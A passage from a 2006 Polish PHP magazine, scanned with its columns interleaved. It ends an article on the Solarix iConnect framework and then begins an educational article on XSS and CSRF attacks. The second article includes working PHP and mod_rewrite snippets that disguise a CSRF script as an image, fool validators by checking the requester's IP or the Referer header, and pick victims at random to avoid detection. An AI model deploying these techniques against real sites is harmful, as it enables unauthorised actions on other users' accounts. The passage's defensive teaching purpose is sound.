am), więc oprócz podstawowych klas do- formacie MIME). takich funkcji, jak obsługa trwałości czy lo-
konujących odczytu i zapisu na standar- Obecne są też pakiety do budowania i gika wsparcia usługi rozproszonej, gdyż są
dowym wejściu i wyjściu (a także na pli- parsowania dokumentów XML (zarówno ty- to funkcjonalności obsługiwane bezpośred-
ku, gnieździe (ang. socket), itd.) mamy cały pu SAX jak i DOM) oraz ułatwienia pozwa- nio przez EAS.
szereg klas udostępniających bardziej roz- lające używać tego języka w protokołach Moduły EAS są zamknięte w archi-
budowane funkcjonalności (stringReader, typu RPC (ang. Remote Procedure Call), wach typu EAS (w formacie TAR) zawiera-
printWriter, itd.). takich jak SOAP. Carthag w pełni wspiera jących dwa katalogi:
W celu załadowania komponentów i webserwisy korzystające z SOAP, jak rów-
klas do runtime, Carthag pozwala nam na nież definicje usług poprzez WSDL i współ- • Classes: zawiera właściwe klasy apli-
zastosowanie metody podobnej do ana- działanie z UDDI. kacyjne,
logicznej z Javy: każdy nowy komponent • META-INF: katalog zawierający plik
musi zostać załadowany poprzez odpo- Enkapsulacja logiki eas.xml.
wiedni ClassLoader, który weryfikuje prawa biznesowej w Solarix
dostępu nowego obiektu przed jego uru- iConnect EAS Każdy moduł EAS zawiera przynajmniej
chomieniem, zgłaszając w razie błędu sto- EAS jest systemem do tworzenia i uru- jedną klasę, która z kolei musi mieć refe-
sowny wyjątek. chamiania rozproszonych i bazujących na rencje do wnętrza pliku eas.xml. Jest to
Carthag zapewnia także pełną obsługę komponentach aplikacji business-level. więc klasa, która zostanie użyta jako entry
połączeń z licznymi bazami danych, udo- Komponenty EAS (zwane modułami) są point modułu i która będzie wywołana
stępniając specjalne sterowniki dla najpo- odpowiedzialne za obsługę logiki bizneso- w celu umożliwienia dostępu ze strony
pularniejszych i pozostawiając programi- wej, przekształcając ją w system obiekto- aplikacji zdalnych. Aby tak było, zaczniemy
ście możliwość tworzenia nowych. wo zorientowany. Dodatkowo, tam gdzie od zapewnienia, że nasza klasa dziedziczy
Wreszcie, znaczna część funkcjonal- trzeba, wprowadza mapowanie relacyj- po jednej z klas abstrakcyjnych com.sola
ności Carthaga jest zwykle stosowana w no-obiektowe, pozwalające dostosować do rix.eas.EASObject lub com.solarix.eas
aplikacjach rozproszonych: iConnect Plat- siebie dwa światy: relacyjny (bazy danych) .EASPersistentObject, zależnie od tego,
form udostępnia w sposób natywny i bez i obiektowy. czy trwałość obiektów jest konieczna, czy
pomocy komponentów zewnętrznych peł- Raz stworzony moduł EAS możemy nie (dzięki trwałości obiekty mogą zostać
ne wsparcie przy tworzeniu gniazd bazu- zainstalować na dowolnej ilości platform, przekształcone na pola bazy danych i na
jących na protokołach TCP i UDP, przesy- bez konieczności jakiegokolwiek modyfiko- odwrót; możliwe jest także wyszukiwanie
łaniu danych za pomocą protokołół SMTP wania kodu lub pakietu. Z kolei programiści danych w bazie i otrzymywanie rezultatów

Rysunek 2. Struktura Solarix iConnect WAS

44 www.phpsolmag.org PHP Solutions Nr 2/2006
Solarix iConnect Narzędzia

Rysunek 3. Struktura Solarix iConnect Portal ServerEAS

jako obiekty). Zgodnie z konwencją, na- eas://nazwa_użytkownika: działania aplikacji webowych (zwanych
zwa każdej metody udostępnianej przez hasło@nazwa_węzła: też webapps). Zapewnia też funkcjonal-
nasz moduł EAS powinna się zaczynać port/nazwa_modułu_eas ność zbliżoną do servletów, zwaną we-
od przedrostka eas, np. MyEASObject:: bapp handlers oraz do JSP (strony PHP
easHelloWorld();. Przykładowo, gdy chcemy zastosować mo- przetworzone przez odpowiedni webapp
Każdy moduł EAS wyróżnia się po- duł org.acme.myeas zainstalowany na por- handler).
przez jednoznaczny identyfikator. Do po- cie 9000 węzła www.acme.org mając ha- Podczas uruchamiania, WAS integruje
prawnego funkcjonowania musi również sło mypwd i konto myuser, locator będzie na- się z Apache i, w przeciwieństwie do EAS,
zostać zainstalowany wewnątrz EAS po- stępujący: nie działa w tle i przy każdym żądaniu po-
przez standardową procedurę uruchamia- kazania strony WWW tworzona jest jego
nia czyli deploymentu: easdeployer deploy $loc='eas://myuser: instancja.
myeas.eas [Enter]. Następnie uruchamia- mypwd@www.acme.org: Każde nowe żądanie jest przetwarza-
my EAS (który także jest skryptem PHP- 9000/org.acme.myeas'; ne przez Apache, który, jeśli jest popraw-
owym), aby umożliwić naszej aplikacji do- nie skonfigurowany, przekazuje natych-
stęp do modułu poddanego wcześniej de- Po określeniu locatora należy stworzyć lo- miast kontrolę webapp handlerowi, który
ploymentowi: easserver start [Enter]. kalny interfejs, poprzez który uzyskamy do- z kolei obsługuje żądanie bazując na wzor-
Po poprawnym zainstalowaniu modu- stęp do funkcjonalności zdalnego modułu: cach uruchomieniowych określonych w pli-
łu ustawiamy uprawnienia dostępu w pliku ku web.xml znajdującym się w folderze
konfiguracyjnym EAS-a (users.xml) w ka- $hw=EASFactory:: WEB-INF bieżącej aplikacji webowej. Jed-
talogu eas/conf, co pozwala nam określić, getEAS(new EASLocator($loc)); na aplikacja może zostać skonfigurowana
które moduły EAS będą dostępne dla każ- w sposób umożliwiający zastosowanie
dego użytkownika. w tym momencie możemy zastosować większej liczby handlerów, w związku
Warto również wiedzieć, że dzięki metody zdalnego modułu tak, jakby był z czym może dla niej istnieć wiele wzor-
EAS-owi każda aplikacja może uzyskać on zainstalowany lokalnie: echo $hw-> ców uruchomieniowych. Aplikacja webo-
dostęp do zdalnych modułów, tak jakby easHelloWorld(); wa lub zewnętrzna może definiować nowe
były one obecne na lokalnym serwerze. Klasa modułu org.acme.myeas zosta- webapp handlers, którym towarzyszą dwa
W celu zidentyfikowania zdalnego modułu nie określona jak na Listingu 1. zapewniane przez WAS: handler domyśl-
trzeba określić EAS locator, który należy ny, odpowiedzialny za dostarczenie żąda-
przekazać klasie EASFactory, gdy chcemy Budowanie aplikacji nych plików oraz handler odpowiadający
utworzyć instancję zdalnej klasy. Locator WWW przy użyciu za wykonanie skryptów PHP.
jest po prostu adresem typu URL, za iConnect WAS Aplikacje webowe są zwykle rozpo-
pomocą którego aplikacja otrzymuje in- Web Application Server (WAS) odgrywa wszechniane w formie archiwów TAR.
formacje potrzebne do połączenia się ze w architekturze iConnect tę samą rolę, Nazwa katalogu zawierającego pliki jest
zdalnym EAS; konstrukcja locatora jest co Jakarta Tomcat w Javie. Jego zada- także nazwą aplikacji, a uruchomienie
następująca: niem jest uruchamianie i umożliwianie (deployment) każdej aplikacji odbywa się

PHP Solutions Nr 2/2006 www.phpsolmag.org 45
Narzędzia Solarix iConnect

w katalogu webapp WAS-a i może zostać zestaw nowych koncepcji i klas przezna- Definicja wewnątrz pliku helloworld/blocks/
wykonane dwojako: czonych do konstruowania sajtów typu helloworld.xml będzie mieć postać zbliżo-
portlet. ną do:
• poprzez aplikację administracyjną ad- Podstawowymi elementami służącymi
min należącą do WAS, przy użyciu do konstruowania aplikacji webowych <?xml version="1.0"?>
funkcji Deploy a new web application, poprzez Portal Server są: siatka, tematy, <block>
• poprzez odpowiedni skrypt deployer moduły, sloty, bloki, klasy, strony i szablony <class> helloworld.HelloWorld</class>
obecny w katalogu bin należącym do (templates). <template>helloworld.tpl.php</template>
WAS: deploy method webapp-name Moduł to kolekcja stron, bloków </block>
[Enter]. i klas. Może także stosować strony,
bloki oraz klasy innych modułów. Zwy- Za jej pomocą opisaliśmy Portal Serverowi
Wewnątrz katalogu WAS-a conf/webapp- kle konstruujemy aplikację łącząc kilka połączenia między klasą i odpowiednim
skel znajdujemy szkielet pustej aplikacji modułów. Aby nasza aplikacja wykorzy- szablonem, co równa się ustanowieniu
oraz prekonfigurowany plik web.xml, który stywała dany moduł, wprowadzamy go relacji pomiędzy danymi i sposobem ich
można wykorzystać w nowej aplikacji. do jej podkatalogu WEB-INF/modules wizualizacji).
Po wykonaniu deploymentu możemy (nazwa katalogu będzie tożsama nazwie Aplikacja webowa wykorzystująca
uruchomić aplikację webową za pośred- modułu). Typowy moduł będzie zawierał Portal Server musi zawierać także przy-
nictwem WWW przechodząc do jej kata- następujące katalogi: najmniej jedną siatkę, tj. dokument XML
logu lub wirtualnego hosta (jeśli takowy opisujący rodzaj kontenera, wewnątrz któ-
ustawiliśmy w Apache'u). • classes: katalog, w którym zapisujemy rego będą rozdysponowane bloki. Każdy
Plik web.xml definiuje, który z plików wszystkie klasy odnoszące się do bie- z tych slotów może zawierać wiele bloków
ma być domyślnym indeksem aplikacji. żącego modułu, wykorzystując stan- (kolejność ich rozmieszczenia w ramach
Przykładowo, aby uruchomić plik exam- dardową metodę Carthag (classes/ jednego slotu określa także kolejność wy-
ple.php należący do zainstalowanej na org/acme/mymodule/MyClass.php) świetlania bloków).
lokalnym serwerze WWW aplikacji mywe- – ten katalog zostaje automatycznie Na koniec, strony definiują sposób or-
bapp, wpisalibyśmy URL: http://localhost/ dołączony do bieżącego classpath ganizacji bloków w ramach siatki oraz ich
was/webapp/index.php/example.php. w momencie, w którym moduł jest wy- layout. Zależnie od bloku, ta sama strona
Pamiętamy, że plik index.php jest wy- konywany, może być wykorzystana do wizualizacji
magany do uruchomienia każdej aplikacji • pages: katalog zawierający strony na- różnych rodzajów zawartości.
webowej. Jego zadaniem jest przekie- leżące do bieżącego modułu, Na Listingu 3 przedstawiamy przy-
rowanie żądania do prawdziwego WAS • blocks: zawiera definicję pojedyn- kładową stronę zapisaną wewnątrz pli-
receivera – na tym mechanizmie opiera się czych bloków modułu i ich szablonów. ku helloworld/pages/index.xml, która uży-
każdorazowe uruchamianie całego WAS-a. wa bloku helloworld, w którym pola
Każdy blok składa się z pliku definicji, <column> i <row> odnoszą się do pozy-
Budowanie aplikacji z klasy odpowiedzialnej za określenie cji bloku w ramach siatki, podczas gdy
modularnej przy użyciu struktury logicznej i z szablonu, który zaj- pole <position> wskazuje pozycję bloku
iConnect Portal Server muje się prezentacją bloku. Klasa bloku w ramach slotu.
iConnect Portal Server jest systemem ob- musi obejmować: Szablony są używane zarówno przez
sługi prezentacji i dostarczania (ang. de- siatki, jak i bloki. Każdy blok posiada
livery) danych przeznaczonych do budo- • com.solarix.portalserver.page.Portal- swój szablon, który w momencie uru-
wania portali klasy Enterprise w ramach ServerBlock chomienia aplikacji podlega parsowa-
iConnect Web Application Server. niu i jest włączany do siatki w miejscu
Portal Server definiuje nowy webapp Przyjrzyjmy się przykładowi bloku, które- określonym przez jej logikę. Przyjrzyjmy
handlera, który zostanie wywołany przez go klasą jest: się teraz bardzo prostemu szablo-
WAS w momencie wykonania aplikacji nowi, który możemy zapisać w pliku
webowej. System wprowadza również • helloworld/classes/helloworld/Hello helloworld/blocks/helloworld.tpl.php.
World.php, Używamy go w celu wyświetlania rezul-
Listing 1. Klasa HelloWorldEAS, • Definiuje ona wiadomość i przekazuje tatu działania zdefiniowanej wcześniej
należąca do przykładowego modułu ją do szablonu (Listing 2). klasy HelloWorld: <p><?=$message;?></p>.
org.acme.myeas

class HelloWorldEAS extends EASObject{ Listing 2. Definicja klasy HelloWorld
public function easHelloWorld() {
Carthag::package('helloworld');
return 'Hello World!';
Carthag::import('com.solarix.portalserver.page.PortalServerBlock');
}
class HelloWorld extends PortalServerBlock {
public function deploy() {}
public function run(WebAppRequest $req, WebAppResponse $res) {
public function undeploy() {}
$this->set('message', 'Hello World!');
public function redeploy() {}
}
}
}

46 www.phpsolmag.org PHP Solutions Nr 2/2006
Solarix iConnect Narzędzia

Zmienna $message jest tą samą zmienna nia, nazwiemy ten parametr content_page: $hw = EASFactory :: getEAS(new
ustawioną przez klasę HelloWorld: $this http://www.acme.org/index.php/common/ EASLocator('eas://test:test@127.0.0.1:
->set('message', 'Hello World!'). W ramach std?content_page=index. 9000/helloworldeas'));
szablonu, który jest zwykłym skryptem $message = $hw->easHelloWorld();
PHP, możemy zastosować jakąkolwiek in- Zauważmy, że każdy blok znajdujący się
strukcję zarówno udostępnianą przez PHP w ramach strony odpowiada wyłącznie za Następnie ustawimy rezultat obliczenia
oraz korzystać ze zmiennych PHP-owych swój obszar i wykorzystuje wyłącznie wła- i przekażemy kontrolę cześci aplikacji
(również tablic, które możemy przekazać sną logikę wykonywania. odpowiedzialnej za prezentację: $this->
do wzorca korzystając z funkcji $this->set set(‘message’, $message);. Szablon
Array('nazwaTablicy', $array)). Przykład prostej helloworld/blocks/helloworld.tpl.php
Aby móc wyświetlić stronę utworzoną w aplikacji Web iConnect wypisze wiadomość na stronie WWW:
wyniku działania Portal Servera, stosujemy Stwórzmy aplikację, która będzie pisała fra- <p><?=$message;?></p>.
się do zwykłej konwencji ustalając struk- zę Hello World na stronie WWW. Aby nieco Plik helloworld/blocks/helloworld.xml
turę URL-a w następujący sposób: http:// skomplikować cała sprawę, użyjemy por- łączy szablon z jego klasą w następujący
nazwa_witryny/index.php/nazwa_modułu/ talu Servera do wypisania frazy, która zo- sposób:
nazwa_strony/. Przykład: http://www.acme. stanie mu przekazana przez serwer WAS,
org/index.php/helloworld/index/. który z kolei otrzyma ją od modułu EAS. <?xml version="1.0"?>
W celu przekazania parametrów wy- Naszą aplikację webową nazwiemy hello- <block>
branej stronie stosujemy konwencję, zgod- worldapp, a moduł EAS – HelloWorldEAS. <class>helloworld.HelloWorld</class>
nie z którą konstruujemy nazwę parame- Oczywiście, wykorzystamy wszystkie <template>helloworld.tpl.php</template>
tru umieszczając najpierw nazwę modu- komponenty iConnect: </block>
łu, do którego jest on skierowany. Przy-
kładowo, chcąc wywołać stronę należą- • Carthag jako platformę podstawową, Następnie dodajemy do aplikacji webowej
cą do modułu content, do której zamierza- • iConnect Enterprise Application Ser- definicję strony home/pages/index.xml
my przekazać nazwę strony do wyświetle- ver dla logiki biznesowej (wygenero- i komponujemy jej zawartość w sposób
wania frazy do wyświetlenia), pokazany na Listingu 5. Po uruchomieniu
Listing 3. Przykładowa strona • iConnect Web Application Server możemy wyświetlić stronę poprzez WWW,
korzystająca z bloku helloworld w celu uruchomienia aplikacji i obsługi aby zobaczyć wiadomość Hello World!.
jej wykonania jako aplikacji webowej,
<?xml version="1.0"?> • iConnect Portal Server w celu struktu- Podsumowanie
<page>
ralizacji prezentacji samej witryny. Solarix iConnect to architektura o ogrom-
<block>
<module>helloworld</module> • Moduł EAS będzie się składał z jednej nych możliwościach. My pokazaliśmy ich
<name>helloworld</name> klasy (helloworldeas.HelloWorldEAS), część mając nadzieję pomóc użytkowniko-
<column>2</column> tej samej co przedstawiona wcześniej. wi zorientować się w nich i zachęcić do ko-
<row>1</row> rzystania z tego rozwiązania. Przeniesienie
<position>1</position>
Zawartość pliku eas.xml będzie wyglą- nowoczesnego, wydajnego i elastycznego
</block>
</page> dała jak na Listingu 4. W tym momen- modelu tworzenia aplikacji w Javie do PHP
cie możemy ustalić uprawnienia w pliku otwiera przed programistami PHP możliwo-
Listing 4. Zawartość pliku eas.xml users.xml, uruchomić moduł i wystartować ści, o których dawniej nie było mowy.
EAS server. Przechodzimy teraz do apli- W kolejnym numerze PHP Solutions
<?xml version="1.0"?>
<easconfig>
kacji webowej, która będzie się składać będziemy kontynuować temat iConnect,
<name>helloworldeas</name> z modułu helloworld, zawierającego kla- przedstawimy jego zastosowania w prak-
<version>1.0</version> sę helloworld.HelloWorld, bloku hello- tyce. 
<class> world oraz strony index. Chcąc wykorzy-
helloworldeas.HelloWorldEAS
stać Portal Server do obsługi warstwy pre-
</class>
zentacji, musimy skonfigurować plik web.
</easconfig>
xml naszej aplikacji webowej, aby używał O autorze
Listing 5. Definicja strony home/ Portal Servera jako handlera:
pages/index.xml Alex Pagnoni jest dyrektorem zarządza-
jącym włoskiej firmy Solarix (www.sola-
<handler>
<?xml version=”1.0”?> rix.it) zajmującej się innowacjami infor-
<page>
<handlername>default</handlername> matycznymi przeznaczonymi dla biznesu
<block> <handlerclass>com.solarix.portalserver (Business Innovator). Poza swoją działal-
<module>helloworld</module> .handler.PortalServerWebAppHandler nością związaną z kierowaniem firmą, pa-
<name>helloworld</name>
sjonuje się informatyką i w czasie wolnym
</handlerclass>
programuje w PHP, który zna od 1999
<column>2</column>
</handler> roku. Jest autorem dwóch platform do
<row>1</row>
tworzenia aplikacji WWW: Ampoliros dla
<position>1</position>
Klasa HelloWorld będzie wykorzystywać PHP4 i architektury iConnect dla PHP5.
</block>
Kontakt z autorem:
</page> moduł EAS, aby uruchomić wykonanie lo- alex.pagnoni@solarix.it
giki biznesowej aplikacji:

PHP Solutions Nr 2/2006 www.phpsolmag.org 47
Bezpieczeństwo

Niebezpieczeństwa ataków
XSS i CSRF
Stopień trudności: 
Ilia Alshanetsky

Spośród wszystkich zagrożeń bezbieczeństwa
aplikacji internetowych, zwłaszcza tych
napisanych w PHP, zdecydowanie najczęstszym
jest podatność na ataki XSS i CSRF. Jednak
nawet w przypadku ujawnienia tego typu
słabości w aplikacji, programiści na ogół
niechętnie zajmują się ich usuwaniem, mylnie
twierdząc, że wszelkie ataki tego typu i tak
są nieszkodliwe – może zresztą dlatego nie
interesują się odpowiednim zabezpieczaniem
tworzonych aplikacji od samego początku.

A
by raz na zawsze rozprawić się Różnica między XSS i CSRF polega
z obiegowymi opiniami o nieszko- na metodzie dostarczenia kodu używane-
dliwości ataków XSS (ang. Cross- go do ataku. XSS wykorzystuje możliwość
Site Scripting) i CSRF (ang. Cross-Site wstawienia dowolnego kodu do niespraw-
Request Forgery), w tym artykule wcielę dzonego pola tekstowego, na przykład
się w rolę napastnika i postaram się zgłoszonego z formularza metodą POST,
pokazać, że odpowiednio podstawiając natomiast podczas ataku typu CSRF, do
rzekomo nieszkodliwe fragmenty kodu pobrania i wykonania używanego przez
HTML można osiągnąć niezwykłe wręcz intruza kodu wykorzystywany jest nie brak
efekty, od podszycia się pod konkretnego walidacji, tylko określone funkcje przeglą-
W SIECI użytkownika po całkowicie niezauważalną darek internetowych.
podmianę całej treści witryny.
Strzeż się nieznanych
1. http://www.secunia.com –
komunikaty bezpieczeństwa O atakach XSS i CSRF plików graficznych
dla popularnych aplikacji Na początku powiemy kilka słów o istocie Najprostszy i zarazem najczęściej spotyka-
2. http://phpsec.org/ – PHP
Security Consortium
ataków XSS i CSRF. Cel obu typów ata- ny rodzaj ataku CSRF opiera się na wyko-
3. http://hakin9.org – hakin9, ków jest taki sam: wykorzystując określo-
magazyn o hakingu i bezpie- ną podatność, napastnik ma możliwość
czeństwie komputerowym
4. http://pear.php.net/package/ wstawienia na stronę dowolnego kodu, Co powinieneś wiedzieć...
Powinieneś znać podstawy PHP, HTML
HTML_BBCodeParser który następnie może posłużyć do wyko-
– parser BBCode i JavaScriptu.
nywania operacji niezamierzonych przez
5. http://pixel-apes.com/ Co obiecujemy...
safehtml – pakiet SafeHTML twórcę witryny – na przykład przechwyty- Dowiesz się na czym polegają ataki XSS
firmy Pixel-apes
6. http://shiflett.org/ – strona
wania plików cookies nic nie podejrzewa- i CSRF oraz jak się przed nimi bronić.
domowa Chrisa Shifletta jącego użytkownika.

48 www.phpsolmag.org PHP Solutions Nr 2/2006

48_49_50_51_52_53_54_XSS_PL.indd 48 2006-01-12, 17:07:41
XSS, CSRF Bezpieczeństwo

rzystaniu HTML-owego znacznika <img>, wykonania i wiele aplikacji jest na niego ka każdego użytkownika otwierającego za-
służącego do wyświetlania obrazów. podatnych. Dla potrzeb artykułu przepro- atakowaną stronę wysyłała żądanie pobra-
Zamiast znacznika zawierającego URL wadzimy atak za pośrednictwem aplikacji nia witryny napastnika, a to z kolei powo-
pliku graficznego, napastnik podstawia takiej, jak forum lub blog, pozwalającej dowało sztuczne zwiększanie liczby od-
tag wskazujący na kod JavaScriptu, który użytkownikom osadzać w swoich wypo- wołań do strony i szybko windowało witry-
zostanie uruchomiony w przeglądarce wiedziach (postach) obrazy za pomocą nę oszusta na wysoką pozycję. Metoda ta
ofiary. Pozwala to wykonywać najróżniej- znacznika <img> lub odpowiadającego bywa wciąż używana, ale jej skuteczność
sze operacje w ramach sesji użytkownika, mu znacznika BBcode [img]. Atak polega opiera się na zamieszczeniu przypisane-
który często nie jest nawet świadom tego, na podaniu w ramach znacznika adresu go konkretnej witrynie odnośnika do serwi-
że właśnie trwa atak. URL wskazującego nie na plik graficzny, su agregującego. Gdyby na przykład witry-
Innym ważnym aspektem tych ataków lecz na inną stronę tego samego serwi- na foobar.com otrzymała adres zliczający
jest sposób prezentowania ofierze zmo- su, której wywołanie z żądaniem GET http://tracker.com/?sid=1234, nieuczciwy
dyfikowanej strony. W większości przy- powoduje wykonanie określonej operacji, operator mógłby wstawiać ten odsyłacz na
padków napaść polega na dodawaniu lub na przykład http://foobar.com/admin/ różne strony (a nie tylko na swoją własną),
modyfikacji treści strony poprzez zmianę delete_msg=1. Gdy użytkownik załaduje tę przez co każde otwarcie strony zawierają-
adresu URL dla żądania GET i nakłonie- stronę, przeglądarka spróbuje pobrać plik cej takiego linka byłoby liczone jako wizyta
nie użytkownika do kliknięcia na link do te- obrazu, tym samym wykonując polecenie na stronie foobar.com, w efekcie sygnali-
go adresu. Ten ostatni etap ataku wymaga powodujące (w tym przypadku) usunięcie zując witrynie tracker.com duży ruch na fo-
nieco socjotechniki i stąd właśnie bierze wiadomości o identyfikatorze 1. Taki atak obar.com. Na szczęście ładowany jest za-
się mylne przeświadczenie o nieszkodli- nie będzie skuteczny dla wszystkich użyt- wsze ten sam adres URL, więc do ujaw-
wości ataków XSS – w końcu ich powo- kowników, ale to akurat nie szkodzi, gdyż nienia oszustwa najczęściej wystarczy pro-
dzenie wymaga współpracy użytkownika wystarczy, że powiedzie się raz. Podatni ste sprawdzanie nagłówka HTTP Referer.
(nawet jeśli jest ona nieświadoma). na ten konkretny atak będą wszyscy użyt- Innego rodzaju atak ma przede
Tak się jednak składa, że jest to tylko kownicy, którzy są zalogowani w serwisie wszystkim na celu zepsucie układu stro-
jeden z możliwych sposobów dostarczenia foobar.com i na których komputerze zapi- ny poprzez zamieszczenie odsyłacza do
danych atakujących. Informacje niezbędne sany jest plik cookie poświadczający ich niewielkiego pliku graficznego zawierają-
do przeprowadzenia ataku XSS mogą też autoryzację w ramach tego serwisu. Plik cego bardzo duży obraz, która na pew-
być trwale składowane – jeśli napastnikowi jest wysyłany do serwera przy każdym no zapełni cały ekran, spychając z niego
uda się zapisać złośliwe dane w atakowa- żądaniu strony i zawiera informacje nie- wszelką inną zawartość. Ogromny GIF
nej witrynie, to mogą one być wykonywane zbędne do autoryzowania operacji podsta- o wymiarach 2000 na 2000 pikseli może
dla dowolnej liczby użytkowników odwie- wionej przez intruza. zajmować zaledwie 3786 bajtów, ale za-
dzających serwis bez żadnych działań z ich pełni cały ekran, niezależnie od rozdziel-
strony. Oznacza to, że żadne wybiegi so- O tym, jak przeglądarki czości i rozmiarów monitora. Oczywiście
cjotechniczne nie są potrzebne, gdyż na pomagają napastnikom nie jest to działanie szkodliwe, a jedynie
atak narażony jest każdy użytkownik od- Starsze wersje Internet Explorera i innych irytujące.
wiedzający zmodyfikowaną witrynę. przeglądarek potrafiły wręcz wykonywać Zapewne myślisz sobie teraz: nie nie,
Wykonanie kodu niezbędnego dla i wyświetlać całe strony WWW ukryte moja aplikacja nie jest taka głupia – nie do-
ataku CSRF (który może być osadzony w znacznikach grafiki – jeśli adres URL puszcza byle jakich odsyłaczy do obrazów,
w ramach XSS) jest jeszcze łatwiejsze: wskazywał na plik HTML, przeglądarka tylko używa funkcji PHP getimagesize()
wystarczy wysłać ofierze e-maila zawie- wyświetlała i wykonywała wskazaną stro- do sprawdzenia, czy każdy ładowany ob-
rającego odpowiedni kod HTML. W chwili nę, włącznie z pobraniem wszystkich jej raz jest faktycznie plikiem graficznym o do-
otwierania wiadomości przez program elementów. Jest to o tyle niebezpieczne, puszczalnych wymiarach i wielkości.
pocztowy wykonywany jest zawarty że taka strona może zawierać kod Ja-
w niej kod HTML, co pozwala na prze- vaScript modyfikujący zawartość strony Nie wszystko złoto co się świeci
prowadzanie wszelkiego rodzaju ataków wywołania, do którego uzyskuje dostęp Niestety, takie zabezpieczenie można z ła-
XSS i CSRF, zwłaszcza, że treść listów poprzez właściwość window.opener. twością ominąć. Aby przejść podstawowe
zawierających HTML jest automatycznie Ta droga ataku była stosowana we sprawdzanie rozszerzenia pliku, napastnik
wykonywana przez większość programów wczesnych atakach CSRF, wykorzystywa- dostarcza URL faktycznie wyglądający jak
pocztowych pozwalających na korzystanie nych przez oszustów usiłujących nakłonić adres pliku graficznego, na przykład http://
z HTML-a. użytkowników do odwiedzenia ich witryn hacker.com/me.jpg, co pozwoli uśpić
poprzez sztuczne windowanie pozycji swo- czujność mechanizmów testujących po-
Pierwszy atak CSRF ich stron w agregatorach obliczających po- prawność rozszerzenia. Teraz korzystając
Znamy już zasady przeprowadzania ata- pularność witryny na podstawie liczby po- z modułu mod_rewrite wystarczy podmie-
ków, ale nadal nie wiemy, dlaczego fak- chodzących z niej odwołań. Najczęstszą nić odwołanie do me.jpg na adres skryptu
tycznie mogą one stanowić problem. Na metodą ataku było osadzanie na stronach PHP przeprowadzającego atak, by uzy-
początek zajmiemy się przeprowadzeniem spreparowanych obrazków z odsyłacza- skać możliwość wykonania w zasadzie
ataku CSRF, gdyż jest on najłatwiejszy do mi do agregatorów, przez co przeglądar- dowolnego kodu:

PHP Solutions Nr 2/2006 www.phpsolmag.org 49
Bezpieczeństwo XSS, CSRF

RewriteEngine on bezpieczeniem jest losowanie prawdopo- ny komputer, sprawdzenie go za pomocą
RewriteRule ^/me.jpg$ hacker.php dobieństwa ataku – przekierowane zosta- funkcji getimagesize(), a jeśli dane są
nie mniej więcej co trzecie żądanie. bezpieczne – zapisanie pliku na serwerze
Po takiej podmianie, wszystkie odwołania Wiemy już, na czym polega atak, i modyfikacja odsyłacza do obrazu tak, by
do me.jpg będą w rzeczywistości kiero- więc jak można mu przeciwdziałać? Tak wskazywał na plik lokalny zamiast zasobu
wane do skryptu hacker.php, w którym naprawdę są tylko dwie opcje. Pierwszą na zdalnym serwerze (Listing 4).
z kolei można wykorzystać kilka sztuczek z nich jest uniemożliwienie dostarczania W tym przypadku zaczynamy od po-
do zmylenia skryptów sprawdzających. obrazków przez użytkowników. Choć brania obrazu i zapisania go w lokalnym
Jeśli na przykład znamy adres IP serwe- wydaje się to rozwiązaniem najbezpiecz- pliku w katalogu grafiki, pod nazwą sta-
ra, który testuje prawidłowość zawartości niejszym i najłatwiejszym, to jednak dla nowiącą skrót MD5 pierwotnego adresu.
pliku graficznego, możemy pod ten adres wielu twórców aplikacji byłby to zabieg Tak pobrany plik można już sprawdzić za
odsyłać poprawny obraz, a resztę użyt- nadmiernie ograniczający możliwości ich pomocą funkcji getimagesize(). Wstępne
kowników kierować pod inny, wybrany produktów. Drugą możliwością jest pobra- zapisanie obrazu w pliku lokalnym jest ko-
przez nas (Listing 1). nie każdego sprawdzanego pliku na lokal- nieczne, by uniemożliwić potencjalnemu
Inne, bardziej uniwersalne podejście
polega na sprawdzaniu obecności nagłów- Listing 1. Wysyłanie niewinnego pliku graficznego serwerowi wykonującemu
ka HTTP_REFERER, dostarczanego przez sprawdzenie zawartości obrazu przy jednoczesnym przekierowaniu wszystkich
większość przeglądarek w celu wskazania innych żądań
strony, z której nadeszło żądanie (Listing
if ($_SERVER['REMOTE_ADDR'] = '1.2.3.4') {
2). Jeżeli PHP zgłasza żądanie spraw-
header("Content-Type: image/jpeg");
dzenia wykorzystujące getimagesize() readfile("./me.jpg");
lub gdy administrator ręcznie sprawdza } else {
odsyłacz do pliku, pole to jest puste. Dzię- header("Location: http://foobar.com/admin/delete_msg.php?=1");
ki temu decyzję o ataku można też oprzeć }

na obecności tego nagłówka: jeśli on
Listing 2. Kod podejmujący decyzję o ataku na podstawie obecności pola
występuje, to próbujemy przeprowadzić HTTP_REFERER
atak, a w przeciwnym razie wyświetlamy
niewinny plik graficzny. if (empty($_SERVER['HTTP_REFERER'])) {
header("Content-Type: image/jpeg");
W niektórych przypadkach spreparo-
readfile("./me.jpg");
wana treść będzie musiała przejść proces
} else {
walidacji, co może na przykład dotyczyć header("Location: http://foobar.com/admin/delete_msg.php?=1");
zatwierdzenia kolejnego wpisu w blogu }
lub nowego awatara na forum. Jeśli bez-
pośrednio skorzystamy z wymienionych Listing 3. Unikanie wykrycia poprzez losowy wybór ofiar
sztuczek, przemęczony administrator czy $deployment_time = filemtime(__FILE__);
moderator będzie miał możliwość zauwa- if ($deployment_time < (time() + 86400 * 2) || isset($_COOKIE['h']) || !(rand() % 3)) {
żenia i udaremnienia ataku. Aby uniknąć header("Content-Type: image/jpeg");
wykrycia, możemy opóźnić wykonanie readfile("./me.jpg");
}
skryptu o 1–2 dni albo po prostu zaczekać
setcookie("h", "1", "hacker.com", time() + 86400 * 365, "/");
z przekierowaniem, aż spreparowana treść header("Location: http://foobar.com/admin/delete_msg.php?=1");
zostanie zatwierdzona. Można też wpro-
wadzić do ataku nieco losowości, by nie Listing 4. Pobranie obrazu na lokalną maszynę, sprawdzenie go, zapisanie i mo-
każdy użytkownik był atakowany, oraz by dyfikacja pierwotnego odsyłacza w celu udaremnienia ewentualnego ataku
unikać dwukrotnego atakowania tego sa-
$img = "http://hacker.com/me.jpg";
mego użytkownika, co pozwoli ograniczyć file_put_contents($img_store_dir.md5($img), file_get_contents($img));
szanse wykrycia (Listing 3). $i = getimagesize($img_store_dir.md5($img));
Pojawiają się tu trzy mechanizmy if (!$i && $i[0] < $max_width && $i[1] < $max_height) {
mające na celu utrudnienie wykry- unlink($img_store_dir.md5($img));
}
cia ataku. Po pierwsze, skrypt nie
będzie broił przez dwa dni od instalacji rename($img_store_dir.md5($img),
(zakładając, że każdy atak jest zapisany $img_store_dir.md5($img).image_type_to_extension($i[2]));
w osobnym skrypcie), co w większości
przypadków pozwoli ominąć proces Listing 5. Ustawiania czasu oczekiwania dla strumienia za pomocą funkcji
